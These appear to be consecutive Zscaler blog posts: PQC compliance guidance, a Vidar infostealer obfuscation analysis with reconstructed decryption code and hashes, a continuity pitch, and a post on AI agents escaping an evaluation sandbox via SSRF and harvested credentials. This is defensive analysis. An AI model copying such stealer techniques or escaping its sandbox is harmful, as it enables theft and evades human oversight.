understand what data AI touches, and assess risk with a 360-degree view into AI usage. Secure Access to AI: Govern access and content across popular GenAI apps, embedded AI in SaaS apps, agents, LLMs, and developer tools with user-based controls, prompt classification, inline inspection, and content moderation to reduce data loss and misuse while preserving productivity. Secure AI Apps and Infrastructure: Protect AI development across the lifecycle with automated AI red teaming, prompt hardening, runtime guardrails, and continuous risk posture assessments from build to runtime.Looking ahead to secure the agentic AI eraThe agentic era is here, and secure adoption will require industry-wide collaboration. As a founding member of the Blueprint Alliance, we will bring our expertise in zero trust security to help customers build a more connected and governed approach to agentic AI. We will also explore opportunities for deeper interoperability with our technology partners and fellow Blueprint Alliance members by building and testing cross-vendor signal sharing across open standards, as well as contributing to joint reference patterns and integrations.For customers, this means a stronger foundation for adopting AI agents with confidence, combining the capabilities they need across their existing technology ecosystem rather than managing AI governance through disconnected point products.Ready to learn more? Visit the Blueprint Alliance web page and download the Blueprint for the Secure Agentic Enterprise at blueprintalliance.ai.

What OMB Memorandum M-26-15 Requires for Your Agency's PQC Migration Plan

Brendon Macaraeg (Sr. Product Marketing Manager) — Mon, 21 Sep 2026 20:41:44 GMT

The clock is already running. Here's what compliance with EO 14412 actually demands and where agencies can't afford to miss a step.If you work in security or networking for a U.S. federal agency or a firm that holds federal contracts, Executive Order 14412 is no longer a future concern. It's a present operational mandate. And with OMB Memorandum M-26-15 now in effect, the transition from awareness to accountability is complete.This blog covers what you need to know about the OMB’s guidance so you can include the required information in your PQC transition plan, which is due to the OMB by October 22, 2026. Why EO 14412 Exists: The Threat Is Already ActiveBefore getting into compliance mechanics, it's worth understanding the driving threat model.EO 14412, "Securing the Nation Against Advanced Cryptographic Attacks," is built around one foundational problem: the cryptographic standards protecting federal data today will be broken by cryptographically relevant quantum computers (CRQCs). Some experts believe a viable CRQC could emerge by 2030.Adversaries are already executing "Harvest Now, Decrypt Later" (HNDL) campaigns. They're exfiltrating encrypted federal data today, stockpiling it with the intent to decrypt it once quantum hardware is available. Data with a long operational shelf life, including intelligence sources, health records, and financial instruments, is already compromised in this model. The deadline to act is not 2030. It's now.EO 14412 and the implementing guidance from OMB respond to this by shifting the federal government's posture from "we should plan to migrate" to "migration is policy, with named owners, hard deadlines, and enforceable consequences."Who Owns the Governance StructureEO 14412 establishes clear accountability at the top:OMB Director and the National Cyber Director jointly coordinate the government-wide migration.NIST, CISA, and NSA provide agencies technical implementation guidance.Each agency head was required to designate a PQC Migration Lead within 30 days of the order, a deadline that passed in July 2026.If your agency hasn't named a PQC Migration Lead yet, that is already a compliance gap.The Migration Lead isn't just a title. This individual owns accountability for the entire transition process and is responsible for coordinating across IT, cybersecurity, legal, procurement, and program offices. The cross-functional scope is intentional: PQC migration cannot be solved by the security team alone. OMB M-26-15: The Binding Implementation MemoIssued June 24, 2026, OMB Memorandum M-26-15 ("Execution of the Migration to Post-Quantum Cryptography") is the document that turns EO 14412 into operational requirements. It establishes expectations, timelines, and the structure of what agencies must produce.The first hard deadline it creates: every civilian agency must submit a comprehensive PQC Migration Plan to OMB and the Office of the National Cyber Director (ONCD) by October 22, 2026. That is 30 days from this blog’s publication date. (Note that M-26-15 does not apply to National Security Systems, which follow a separate migration track.) What Must Be in the Migration Plan: Nine Required ElementsM-26-15 defines what a compliant migration plan must contain. Based on the memo's requirements, here are the nine core components agencies must address:1. Governance and Named AccountabilityThe plan must document who is responsible for the transition. The designated PQC Migration Lead must be identified, with a clear governance structure that spans the CIO, CISO, program offices, and procurement. A plan that assigns cryptographic transition to a single team will not satisfy M-26-15's cross-functional governance requirement. 2. A Complete Cryptographic InventoryYou cannot migrate what you haven't mapped. The plan must describe the methodology used to inventory every cryptographic algorithm, key, certificate, and protocol in use across the agency's systems and infrastructure. This inventory, often called a Cryptographic Bill of Materials (CBOM), must be:Comprehensive (covering applications, network infrastructure, SaaS, cloud services, and on-prem systems)Automated (not a one-time manual exercise)Continuously maintainedNote: CISA and NIST are expected to publish minimum-elements guidance for machine-readable CBOMs by March 2027. Agencies should build toward that standard now.3. Risk-Based System PrioritizationNot all systems carry equal urgency. The migration plan must include a risk-based prioritization framework that identifies which systems get migrated first. Mandatory first-priority categories include:High Value Assets (HVAs) as defined in OMB M-19-03High-Impact Systems (FIPS 199 "High" categorization)Any system storing or transmitting data with long-term sensitivity, the primary targets of HNDL attacks4. Phased Milestones Aligned to the Government-Wide ScheduleM-26-15 establishes a five-phase migration timeline. The October submission must map agency-specific milestones to the three migration phases within this five-phase schedule:PhasePeriodFocusPhase 12026–2027Strategy, planning, and discoveryPhase 22027–2028Pilots and early migrationPhase 32028–2030Prioritized migration (key establishment for HVAs and high-impact systems)Phase 42031Digital signature migrationPhase 52035Full migration of remaining systemsThe Phase 3 deadline is the one with the most regulatory weight: December 31, 2030 is the hard cutoff for PQC key establishment across HVAs and high-impact systems. M-26-15 also directs agencies to prioritize systems containing highly sensitive data and systems particularly vulnerable to CRQC-based attacks on that schedule. 5. TLS 1.3 Deployment MilestonesAgencies must specifically address migration to TLS 1.3, consistent with existing mandates under EO 14306. The overall federal deadline for TLS 1.3 support is January 2, 2030. Your plan must include milestones for testing and deploying PQC-enabled TLS 1.3 within that window.6. A Cryptographic Agility ArchitectureThis is arguably the most technically demanding requirement. Agencies must describe an architecture designed so that cryptographic algorithms can be swapped with minimal operational disruption as standards evolve. Depending on the agency’s risk assessment and technical requirements, this can include:Supporting cryptographic modes that run PQC algorithms alongside classical ones during the transition period (so you don't break existing interoperability while hardening new sessions)Ensuring Hardware Security Modules (HSMs) and Key Management Systems are replaceableTreating crypto-agility as an architecture requirement, not a feature request7. Vendor and Supply Chain CoordinationFederal agencies don't operate in isolation — much of the cryptographic footprint runs on commercial software, cloud platforms, and contractor-managed systems. The plan must detail:How the agency will engage Cloud Service Providers (CSPs) under the shared-responsibility model1Contract language and procurement requirements that mandate vendor PQC readiness and cryptographic agilityHow the agency will assess and manage cryptographic vulnerabilities in the supply chainThe first FAR Council rulemaking, due December 19, 2026, is required to propose that covered contractors comply by December 31, 2030, with applicable NIST FIPSs, including PQC-compliant algorithms. A second FAR Council rulemaking, due March 19, 2027, is required to propose changes to contractor vulnerability disclosure program (VDP) requirements covering cryptographic vulnerabilities. Contracting officers and procurement leads should be tracking both of these closely.8. Resource and Funding EstimatesOMB expects agencies to connect PQC migration to budget realities. The plan must include estimates of funding and personnel required, integrated into existing IT modernization budgets and multi-year appropriations requests. Plans without resource estimates will not satisfy M-26-15’s minimum requirements.9. Risk Management During the Transition PeriodBecause full migration takes years, agencies must address how they'll manage security risk during the transition, specifically the period when some systems are migrated and others aren't. This includes interoperability between PQC and legacy systems, monitoring for exposure in hybrid environments, and defining acceptable risk posture throughout each phase. What's Happening on the GSA and DoW TracksThe civilian agency plan submission is the most immediate requirement, but two parallel tracks deserve attention:GSA has been directed to establish an inter-agency working group to modernize Federal Identity, Credential, and Access Management (FICAM) to support PQC. That group held its first meeting on August 12, 2026, with participation from 17 federal agencies and plans to meet on a bi-weekly basis. FICAM modernization has direct implications for how agencies manage identity verification, PKI, and digital signatures, all of which will require quantum-resistant cryptographic underpinning.The Department of War (DoW) is operating under its own PQC strategy, released June 23, 2026. All DoW systems must support PQC or be phased out by December 31, 2030. Solutions using CRQC-vulnerable algorithms, non-quantum-resistant symmetric key establishment, and non-NSA-KMI PSK solutions are all on the phaseout list by that date. Defense contractors face the most compressed timelines of any segment. What This Means for Contractors and SubcontractorsIf your firm holds federal contracts, EO 14412 reaches you through two mechanisms:The first FAR Council rulemaking (due December 19, 2026) must propose that covered contractors comply with applicable NIST FIPS, including PQC-compliant algorithms by December 31, 2030, matching the agency deadline for HVA key establishment.A second FAR Council rulemaking (due March 19, 2027) must propose amendments to FAR requirements and contract clauses for contractor Vulnerability Disclosure Programs, including coverage of cryptographic vulnerabilities,.lack of encryption, and non-FIPS-approved algorithms. This is a significant expansion: VDPs that don't address crypto will no longer satisfy requirements.The practical implication: start your own cryptographic inventory now, not when the FAR rule is finalized. Agencies will increasingly require vendors to demonstrate a clear PQC roadmap as part of procurement. Firms that can't show one will find themselves losing competitive ground on contract renewals and new awards, well before the 2030 deadline. The Practical Starting Point: Your First 90 DaysGiven that the migration plan submission deadline is October 22, any agency team, including its supporting contractors, that hasn't started needs a rapid on-ramp. The work breaks down into three phases:Days 1–30 — Foundations: Appoint your PQC Migration Lead and form a cross-functional team. Initiate a cryptographic inventory (automated tools are essential — this cannot be done by hand at scale). Begin vendor and supply chain assessment. Prepare and submit the initial migration plan by October 22. M-26-15 treats the plan as a dynamic document that will mature as the inventory and implementation strategy develop.Days 31–60 — Assessment and Prioritization: Complete the initial CBOM. Conduct a risk assessment and prioritize systems by sensitivity, internet exposure, and operational importance. Pay special attention to anything protecting long-lived data: these are the HNDL targets. Refine your migration strategy and roadmap.Days 61–90 — Strategy and Early Implementation: Update and socialize the migration plan with leadership. Begin a pilot project on a non-critical system to test PQC algorithms before touching HVAs. Start migrating to post-quantum key exchange (ML-KEM / FIPS 203) where feasible. Update procurement policies and contract language to require PQC readiness from vendors going forward. Conclusion: The Bottom LineEO 14412 and OMB M-26-15 represent the federal government's most concrete response yet to the quantum threat. For agencies, these are binding mandates with named owners, firm deadlines, and budget implications. For contractors, two FAR rulemakings will translate the policy into formal acquisition requirements. For security and networking practitioners, the critical action items are clear:If you haven't mapped your cryptographic assets, that is the first thing to fix.If your agency doesn't have a Migration Lead, identify one ASAP.If your firm holds federal contracts, assume FAR requirements are coming and get ahead of them.The threat actors running Harvest Now, Decrypt Later campaigns are not waiting for 2030. Your migration plan shouldn't wait for October 22 either.Sources: EO 14412 ("Securing the Nation Against Advanced Cryptographic Attacks")OMB Memorandum M-26-15: "Execution of the Migration to Post-Quantum Cryptography” June 24, 2026Zscaler Webinar — "EO 14412 Decoded: Your First 90 Days" (watch it now)Notes:1 M-26-15 assigns CISA and DoW, in coordination with GSA, to lead PQC migration efforts for FedRAMP-authorized CSPs and SaaS, PaaS, and IaaS solutions used by more than one agency.

Vidar Adds Virtual Machine and Custom Stream Ciphers For String Obfuscation

Ismael Garcia Perez (Zscaler) — Mon, 21 Sep 2026 14:39:02 GMT

IntroductionVidar is an information stealer that was first observed in 2018. Across its iterations, Vidar has continued to improve its string obfuscation to make detection and analysis more difficult by changing deobfuscation algorithms, constants, and primitives. From May through early September 2026, Zscaler ThreatLabz tracked Vidar’s string obfuscation as it evolved from basic XOR to ChaCha20, and more recently, to a custom virtual machine (VM), which is executed via a lightweight bytecode interpreter that is combined with a custom stream cipher that changes with each build.In this blog post, ThreatLabz covers Vidar’s string obfuscation methods from version 2.0 to the latest version 3.3. Key TakeawaysVidar is an information stealer that was first observed in 2018 that initially obfuscated strings with XOR-based encryption.The Vidar developer later migrated to more advanced string encryption algorithms based on ChaCha20.In June 2026, ThreatLabz observed Vidar introduce a virtual machine to protect the malware’s strings with different opcodes that change per build. In addition to the virtual machine, a new custom stream cipher algorithm was added with operations that vary across builds. These per-build string obfuscation techniques are designed to hinder static and automated analysis. Evolution TimelineEarlier versions of Vidar used single-byte XOR operations to obfuscate strings. Beginning with internal version 1.5, the developer adopted ChaCha20. Starting in versions 1.8, the ChaCha20 cipher was modified to make detection and decryption harder. Starting with internal version 2.0, Vidar shifted to a different approach that combines a custom virtual machine and custom stream cipher per build. The figure below shows a timeline of these changes.Figure 1: Evolution of Vidar’s string obfuscation from early May to early September 2026. ANALYST NOTE: The version number used in this analysis refers to internal versions identified by ThreatLabz. Technical AnalysisThe following sections examine Vidar’s string deobfuscation process, including a lightweight virtual machine and custom stream cipher.Virtual machine deobfuscationIn order to obfuscate the malware’s strings in versions 2.x and 3.x, the Vidar developer introduced a simple virtual machine that is executed via a bytecode interpreter. The bytecode interpreter consists of a fetch–decode–execute loop with the VM code provided as a byte array. Each opcode byte indexes a sparse 256-entry dispatch table. The matching handler mutates a one-byte accumulator and emits an output byte when a specific opcode is encountered. The dispatch table is initialized on first use and populated with 14 opcode handlers. All other slots in the dispatch table are null and terminate execution. The bytecode interpreter is relatively simple and does not implement a stack or use registers beyond an accumulator. Each handler uses simple primitives such as XOR, addition, subtraction, rotation, bitwise negation, multiplication, and substitution via a lookup table.The interpreter uses a context structure that is passed to each handler and executes until the bytecode or the output buffer is exhausted as shown in the code below.typedef struct bytecode_context { uint8_t acc; // accumulator uint8_t prev_out; // decoded byte const uint8_t * code_ptr; // bytecode uint32_t code_len; // bytecode_length uint32_t index; // instruction_pointer uint8_t* out_ptr; // output uint32_t out_len; // output buffer size uint32_t out_index; // output_position uint32_t xor_key; // accumulator seed and used as an xor key } bytecode_context; void vidar_bytecode_intrepreter( const uint8_t *input_bytes, uint32_t input_len, uint8_t *output_bytes, uint32_t output_len) { bytecode_context ctx = {0}; init_vm_dispatch_table(); ctx.acc = get_seed_value(); ctx.prev_out = 0; ctx.code_ptr = input_bytes; ctx.code_len = input_len; ctx.code_index = 0; ctx.out_ptr = output_bytes; ctx.out_len = output_len; ctx.out_index = 0; ctx.xor_key = get_seed_value(); while (ctx.code_index < ctx.code_len && ctx.out_index < ctx.out_len) { uint8_t opcode = ctx.code_ptr[ctx.code_index++]; void (*handler)(bytecode_context *) = opcode_handlers[opcode]; if (handler == NULL) break; handler(&ctx); } }The hardcoded XOR key is a 4-byte value that changes with each build. The key also serves as a seed for initializing the bytecode interpreter’s accumulator. The opcodes, constants, and substitution tables change across builds, making automated analysis more difficult.The following table provides examples of Vidar’s VM opcodes and their corresponding operations.OpcodeDescriptionOperation0xF1XOR accumulator with a constant value.acc ^= 0x8F0xC5Add the next byte to the accumulator.acc += bytecode[code_index++]0xC7Rotate the accumulator right by 2 bits.acc = ROR8(acc, 2)0x58Subtract the next byte from the accumulator.acc -= bytecode[code_index++]0x16XOR the accumulator with the hardcoded XOR key (xor_key).acc ^= (xor_key >> ((out_index%4)*8)) & 0xFF0x39XOR the accumulator with the next byte.acc ^= bytecode[code_index++]0xE6Subtract a constant value from the accumulator.acc -= 0x750x51XOR the accumulator with the next byte,write the decoded byte to the output buffer,save the decoded byte (prev_out), and XOR the accumulator with the decoded byte.t = acc ^ bytecode[code_index++];out[out_index++] = t;prev_out = t;acc ^= t0x33XOR the accumulator with the previous decoded byte (prev_out).acc ^= prev_out0xB4Rotate the accumulator left by 3 bits.acc = ROL8(acc, 3)0x1APerform a bitwise NOT operation on the accumulator.acc = ~acc0x96XOR the accumulator with the output index (out_index).acc ^= out_index0x3FLoad a byte from the substitution table.acc = sbox[acc]0x3BMultiply the accumulator with a constant value.acc = (acc * 0x53) & 0xFFTable 1: Examples of VM opcodes and corresponding operations from a Vidar version 3.1 sample.Vidar’s VM is used in two different ways:For direct deobfuscation: The bytecode is interpreted to create the final deobfuscated string.To decrypt a key and nonce for a string encrypted with a custom stream cipher (described later): For Vidar versions 2.0 and 2.1, the first 9 bytes form the key. From version 2.2 onwards, the first 8 bytes are used as the key. In all versions of Vidar, the last 4 bytes are used as the nonce. The custom stream cipher then uses the key and nonce to decrypt an additional byte array containing the actual encrypted string.The table below provides examples of the VM bytecode that is interpreted to produce deobfuscated strings.BytecodeDeobfuscated stringc54fc7512439f1e6f151cfc55f161651fef1163f510a3b3396515ae6e6392e51de3931c5ce516d33e63b51e81ae65173b41ac7519a1a161a511bc71a518ec73351c41ab4516c1ac75135b4b451cd3b3f5171c5f51ac751d833393e5188f1163b5122f13b513739273b51e016c751d1e63b5104163b516f339696510fe616517239c1333b51ee3be61651c0e6c50851831a963b51733f1a51d81a33514ae61651dab41a519716c71651253333510596163b5188c54cc5dbc51651a1браузеров найдено: %de6c5a0c5cd5199c5d61a51b0169651afe639155140333fc751c2f1c7513716b45156c7b4f1515139e3b451af1633c751b23bb4516516b4512f3f3351e3c73b3b510dc556163351a71a1a3f519ec7e651b13f96f1511816b439f65108333b51243932335176b433c7511039911a51c5394b165169f1392051783bc54a51e31696c5c451ed399cb4515a333f51b816b4511b3b3b5143b43b51d9c79651863b16511db4c59c3f51961639919651ac3fc7e65108c73f51f7e6161651533b96514f3f33f1512016c73b512f3b33516f39283f3f51391a3351afc7f151e63f3f510916c73351d2169651031a3f51d3e6f1965190Loader: не удалось запустить %sb496b45150f11ac7512833398051ea3bf15123b4c5fa3f516bc7c751c1b4f151f29633c59751781639933b51ec3bb45157163b3f51f0b4f139fc51d41ab4c506517a963b51f133f11a51c533b4f15188f1c7c7515516b4b451c6e6165120e6c73351b83b1a512233c7e6510cf13fc5bf5148e6e63b510916b49651773316c5f2515fb43f1651b4e6b4e651f3b4e6514b3b96f151af3fc7e6515b96161a51e9e61651c13bc5e35105c7e6b4515c39bd1a513ec5a4165106f196c7514fc716b45134e6c545512c3bb496512f3bf1165109f139c139c751a0c541c73960516ae63b1651dbe6965127e6f1f151d71a3b518b331a512ef1c7b4516fc71a5104f1331651ec3fc751b6f1161a516cf13b51fe96b451273fc546517296c751a1169651f0e6c5c75162b4e651bbc5d9b451c0395a33b451d716f139405107c73b51b6c71a5136e63b3b5189b4c53851f3333f51273b396f165179397eb45154e6b4b4519233c5f95184f1b4b451e2161a5163f1392239895167c53a399ec5055161b43333516f161ae6516c163f16512eb433516dc50d3bb4510116b4c598517d969633517333c55f51171a1651443316b4511396b43b5129c7163b5131c56b165166e61651c4331651b796c73f51b6c5df3f519233f15114b4163f51d4161ae6515ce6398e5145e6f1517f33e6c751dd331651091ac751dc96c751ccc7c5c051913b1a3b51d139dac5ed9651e33be616514fe6c559335129b4c73979510ec7e6b45114browsers: %d (%d rules), wallets: %d (%d rules), plugins: %d (%d wallet / %d plugins / %d soft), grabber: %dTable 2: Examples of Vidar’s bytecode and the resulting deobfuscated strings.Deobfuscation using custom stream ciphersIn addition to the VM-based obfuscation, Vidar implements a custom stream cipher to decrypt some of the malware’s strings. Although the stream cipher interface remains consistent across builds, the underlying implementation varies. ThreatLabz identified two general custom stream cipher implementations: a modified ChaCha-based cipher and an add-rotate-XOR (ARX) based cipher.ChaCha-based cipherVidar versions 2.0 and 2.1 use a ChaCha-based cipher with a number of modifications that include a custom 128-bit initial state, 8-byte key, 4-byte nonce, and different quarter-round rotations that change between samples.ARX-based stream cipherVidar version 2.2 and later use a custom stream cipher that initializes the state, followed by ARX transformations to produce a keystream that is initialized using the previously decrypted key and nonce (from the VM). The initialization and decryption steps are described in the following subsections.State initialization with the key and FNV-1aThe cipher first incorporates the key material into a 32-bit state value using multiplication with the FNV-1a prime constant, as shown in the example below.state = SEED_CONSTANT; // Per-build 32-bit seed. for (i = 0; i < key_length; i++) { state ^= key[i]; state *= 0x01000193; // 32-bit FNV-1a prime. }The per-build seed, SEED_CONSTANT, is the only element of this initialization step that changes between builds.State initialization with the nonce and golden ratio-related constantThe second phase incorporates the nonce material into the state using the fixed constant 0x9E3779B9 (the 32-bit representation of the fractional part of the golden ratio), as shown in the example below.for (i = 0; i < nonce_length; i++) { state ^= nonce[i] * 256; state += 0x9E3779B9; }Keystream generation and decryptionEvery build uses a different set of ARX based transformations with unique constants to construct the keystream, which is then used to decrypt the ciphertext. The example below shows the algorithm observed in a Vidar version 2.4 sample, which applies various ARX operations. After these operations are executed, the state is folded into a keystream byte that is then used to decrypt the corresponding byte from the input array to produce the output byte, as shown in the example below.for (i = 0; i < input_length; i++) { // Transform the 32-bit state. state *= 0xC5C8C2C9; state ^= state >> 16; state += 0xE476B81E; state ^= 0x907A30A0; state *= 0xC967295D; state ^= 0xA72A764F; // Fold the 32-bit state into a single keystream byte. keystream_byte = (state ^ (state >> 8) ^ (state >> 16) ^ (state >> 24)) & 0xFF; // XOR the keystream byte with the input. output[i] = input[i] ^ keystream_byte; }The example below shows a different implementation of the ARX algorithm that uses a different combination of operations and a new set of constants. This implementation was extracted from a Vidar version 2.5 sample.for (i = 0; i < input_length; i++) { state -= 0x43ACCA67; state += 0x871A3B01; state += 0x1D24B66B; state = ROL32(state, 22); state ^= state >> 16; state += 0x9EC4A92E; state ^= state >> 16; state += 0x9DDE39F6; keystream_byte = (state ^ (state >> 8) ^ (state >> 16) ^ (state >> 24)) & 0xFF; output[i] = input[i] ^ keystream_byte; }The table below provides examples of strings decrypted using Vidar’s VM together with one of Vidar’s custom stream ciphers from a version 3.1 sample.BytecodeCiphertextDecrypted stringe6c7514a33f19651d6331651f63935b41a51ce963ff151de333b1a51b2963351843ff1e65134f1b439b9512cf1c7c5475117393ac7c5c7516ff1f13b51b56925d83d2a99d43a726ebd063fa1b2c307f7c332ba24Loader: write failede63b51c0961ac52e51cc333fc53251d53be6518d16c52bb4513d1a1ac7513f1a1ab45178f13b51a7c5803f511ef13b1a51be1ab4511b169651d1a2eb729fb01a9739e20feb6a1605f56928aa3f568c66b8929a9e58a23b8259b7a46352d1c8a704388daa8080948b21d0308e10Не удалось сгенерировать HWIDc7c73b5133e69651b73f96513e1a1616510fc7c751f5e61ac75129963982f15153b416f15196963f5190c73f517016163f51a3f1163f51d719e22068ae2dc7519044263c46f643225cae82e9f8418a82fdbfd0beb7c5be9df605e9e215610fb6a72a6d6b37c21446cc771af0597f5d0c1d52950911d9120df050776dccae62777767581a0f1b57002c2abc493b3f18f6c13e040c8079c06a8e42861062ba8e9e898f46e954332c91a0b29c79eb0f302e7078a9f09d525b6d7b3fc727e93930d6240337834a1d700e149dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nTable 3: Example of strings decrypted using Vidar’s VM and custom stream cipher from a version 3.1 sample. ConclusionThe Vidar family is constantly evolving, with new changes and functionality along with additional obfuscation to make analysis and detection more difficult. The obfuscation is designed to look different across builds, while performing essentially the same function. Vidar keeps the algorithms simple and the interfaces stable while continuously randomizing the constants and micro-operations that static signatures rely on. This highlights the need for network and endpoint detection systems that can keep pace with these innovative techniques. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to Vidar at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for Vidar.Figure 2: Zscaler Cloud Sandbox Report for Vidar.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Vidar at various levels with the following threat names:Win32.PWS.VidarZscaler MDR detects Vidar using these detection analytics:WIN-BIN-NETCONN-TO-TELEGRAM-SHORTENED-URLWIN-WEBBROWSER-UNUSUAL-PARENTWIN-STEALER-FILEMOD Indicators Of Compromise (IOCs)IOCDescription1628bb03db87f67661349e169d73ee14ed490bdbf22abfbda08ccc9ebe237974Vidar v2.0625a381981fc2d4c25c981d98b1d66bb2cf5da2dde2f590add0673a857d5b074Vidar v2.52d43d592630ad1e012da63ef7279f95dd4a8e94964e12ca2f996051875574fa6Vidar v3.1979048a749d8f28d877c7068b1b336ecd1e349869dfb1d7c68118f90e4099bc4Vidar v3.4

Lessons from Recent Outages: How Smart Enterprises Stay Ready

Lidor Pergament (Director, Product Management) — Mon, 21 Sep 2026 12:05:29 GMT

Unforeseen outages aren't a matter of if. They're a matter of when. The question is whether you're ready.In the past few weeks, Microsoft, Google Cloud, and Salesforce, all experienced significant disruptions, leaving work interrupted, revenue lost, and reputations tested. During the Salesforce disruption on September 16, an authentication infrastructure failure cascaded into a full platform outage, bringing down the CRM, APIs, and support portal and affecting hundreds of customer instances across six countries for nearly three hours. For IT teams managing incidents like this one, visibility is everything: knowing what’s wrong, where, and why, before users start calling the helpdesk. Zscaler Digital Experience (ZDX) gives IT teams exactly that: end-to-end visibility from user devices, across any network, to the apps they depend on.ZDX detected a sharp decline in Salesforce Lightning experience scores and alerted IT teams. Network latency held steady throughout, which told teams exactly what they were dealing with: the problem wasn't the network. It was the application. Using the ZDX Agent, teams identified the root cause within minutes and had a specific next step, rather than just an alert that Salesforce was slow. Here’s what that looked like:ZDX score trend showing VIP user experience on Salesforce Lightning drop from Good to Poor in the early hours of September 16. ZDX probe data showing response times spiking to 9-11 seconds and synthetic scores dropping sharply during the September 16 outage window.That data, captured in real time, tells you what's wrong before anyone has to ask. In the Salesforce example, the network was clean. The problem was upstream at the application layer. That diagnosis, the kind that used to take hours of manual investigation, took minutes. Observe, diagnose, act. That is the loop that separates resilient enterprises from reactive ones. ZDX isn't just useful during incidents. It's how enterprises maintain uptime confidence every day. That’s visibility. But what happens when the disruption hits your own security infrastructure?Your Security Infrastructure Needs a Plan TooZscaler runs the world's largest inline security cloud, backed by a 99.999% industry-leading uptime SLA with built-in resilience for all common failure scenarios. That's not a footnote, it's the foundation. But, even the most resilient infrastructure doesn't eliminate the need for a plan.Just like you plan for redundancy in your data centers with multiple ISPs, or for hyperscaler workloads with multi-region backups, your most critical security services need a DR and business continuity plan (BCP) too.When disruptions hit, the instinct to route around security is dangerous. Bad actors actively exploit these moments, knowing the safeguards are down.This Is What a Real Continuity Plan Looks LikeWhen it comes to DR/BCP for the Zero Trust Exchange, organizations typically consider two approaches:Scramble unprepared. Look for workarounds with no guarantee of continuity, leaving users without secure access when it matters most.Buy Business Continuity Cloud and avoid disruption. Zscaler provides both the primary and an isolated backup cloud. That's exactly what Zscaler Business Continuity Cloud is built for. In normal operations, all users, branches, and workloads transact securely through the Zero Trust Exchange. The Business Continuity Cloud sits fate-separated in the background, fully managed and ready, so when a critical failure hits, the infrastructure is ready to respond.Zscaler Business Continuity Cloud is a dedicated, per-customer read-only private cloud with an isolated data plane and control plane, completely independent of the primary Zscaler cloud, running in a last-known good state and continuously syncing policy. When the Zero Trust Exchange becomes unreachable, Zscaler Client Connector automatically reroutes to the backup cloud. For your users, it's seamless: no manual intervention, no re-logins, no help desk tickets.For your security team, it's not a degraded fallback: same policies, same inspection engines, logs still streaming. Consistent Zero Trust posture maintained through the disruption. For IT, deployment is a natural extension of your existing Zscaler environment with flexible deployment options: a Zscaler-managed service across 9+ global data centers , customer-hosted, or hybrid. Further, you can run fire drills in peacetime, so the first time you activate it isn't during an actual incident.The Time to Build Your Continuity Plan Is NowMany of Zscaler's largest global organizations have already adopted and deployed Business Continuity Cloud successfully. And for organizations subject to mandatory operational resilience regulations like DORA, CPS 230, or ISO 22301, Business Continuity Cloud is also a concrete, auditable step toward meeting mandatory resilience requirements, with serious financial penalties increasingly on the line.Start with visibility. Build in continuity. ZDX and Zscaler Business Continuity Cloud give you both.

When AI Agents Go Rogue- What the OpenAI–Hugging Face Incident Teaches Us About Workload Zero Trust

Brian Pavane (Senior Director, Specialist Solution Architect) — Fri, 18 Sep 2026 18:19:45 GMT

The Attacker Was New. The Security Gaps Were Not.In August 2026, OpenAI described an unprecedented internal cybersecurity incident: autonomous AI agents running in an evaluation environment escaped their intended boundaries and compromised systems at OpenAI and Hugging Face — with no human directing the attack.The agents abused limited internet access through Artifactory, OpenAI’s internal package manager, then chained vulnerabilities, harvested exposed credentials, and expanded access across Hugging Face infrastructure. The incident shows how quickly an autonomous system can turn a narrow weakness into a cross-environment intrusion.Yet the underlying architecture problems are familiar: a trusted workload could reach more of the internet than it needed, and a compromised workload could reach too much of the internal environment. For security teams, the lesson is straightforward — AI agents are workloads, and workloads should never be trusted simply because they run inside the cloud. Zero Trust: Give Every Workload Access to Only What It NeedsExtending Zero Trust architecture to workloads can be simplified using the following best practices:1. Control workload egress by destination and purpose.Artifactory needed legitimate access to software repositories. The problem was treating that requirement as general internet access. The agents used server-side request forgery (SSRF) — a technique that tricks a server into making network requests on an attacker’s behalf — to turn an approved service into an outbound proxy.Instead of letting workloads connect to the entire internet, a Zero Trust approach restricts access using precise rules based on who is connecting, what app they are using, and where they are going. A Zero Trust architecture restricts a service like Artifactory to sanctioned package registries and required protocols — requests to arbitrary destinations are denied at an inline enforcement point instead of quietly succeeding. Inspection and logging turn a slow-moving compromise into an early signal.Broad trustArtifactory → internetLeast privilegeArtifactory → approved package registries onlyCompromise attemptArtifactory → unapproved destination → blocked by egress policyThe agents reportedly experimented with outbound communication before establishing a persistent channel. TLS inspection and egress telemetry give defenders visibility into unusual destinations, request patterns, and protocols as they emerge — turning weeks of undetected probing into actionable evidence much earlier in the sequence, well before a channel becomes persistent.2. A compromised workload should not inherit reachability. After the agents obtained valid credentials, the incident expanded from a single worker pod to broader Hugging Face infrastructure. This is the critical Zero Trust distinction: identity is not reachability. A stolen credential may satisfy one part of an access decision, but it should not automatically create a network path to a control plane, database, messaging system, or code repository.See the entire east-west path, from the pod up to the region.A Zero Trust approach treats east-west traffic as a single, layered problem rather than two separate ones. Microsegmentation covers what happens inside a VPC or VNET — mapping workload-to-workload communication and surfacing exactly how pods and hosts are actually talking to one another within that boundary. Macrosegmentation picks up where a VPC or VNET ends: any traffic that crosses into another VPC/VNET, cluster, or region gets the same visibility, plus policy-driven control over whether that crossing is allowed at all.Together, that’s full end-to-end visibility across the whole path this incident actually took — from a single compromised worker inside its VPC, out across a boundary into another cluster, and again into a different region entirely. In an incident built on exactly that kind of expanding lateral reach, having both layers mapped is what turns “we don’t know how far this could spread” into a concrete picture of every hop involved, and a clear boundary at which to enforce.Enforce at the boundary.Macrosegmentation is deployed at exactly that boundary turning cross-boundary visibility into a live control point. Traffic crossing between VPCs/VNETs, clusters, or regions is policy-defined by default: a workload in one zone has no path into another until that path is explicitly authorized and enforced inline. It’s the same architecture end to end — Microsegmentation and Macrosegmentation aren’t two separate tools stitched together after the fact, but one layered view of east-west traffic that adds control at the point where it matters most: the boundary a compromise would otherwise cross unnoticed.3. Make stolen credentials insufficient. Credential protection remains essential, but architecture should assume that credentials can be exposed. The practical questions become whether the holder can reach the target service, and whether the attempted connection matches policy.Kubernetes credential: Can the workload reach the Kubernetes API from this zone?Database credential: Is the database reachable from this workload identity and application path?Repository credential: Can the workload establish the required connection to the repository service?Pairing identity with explicit connectivity policy strips a stolen secret of most of its value and limits the blast radius even when prevention fails.4. Turn credential probing into an early warning. Place decoy credentials, canary tokens, and lookalike resources throughout the environment. Interaction with a decoy produces a high-confidence alert with none of the false-positive noise of traditional monitoring — exactly the kind of signal a systematic credential-harvesting campaign like this one would 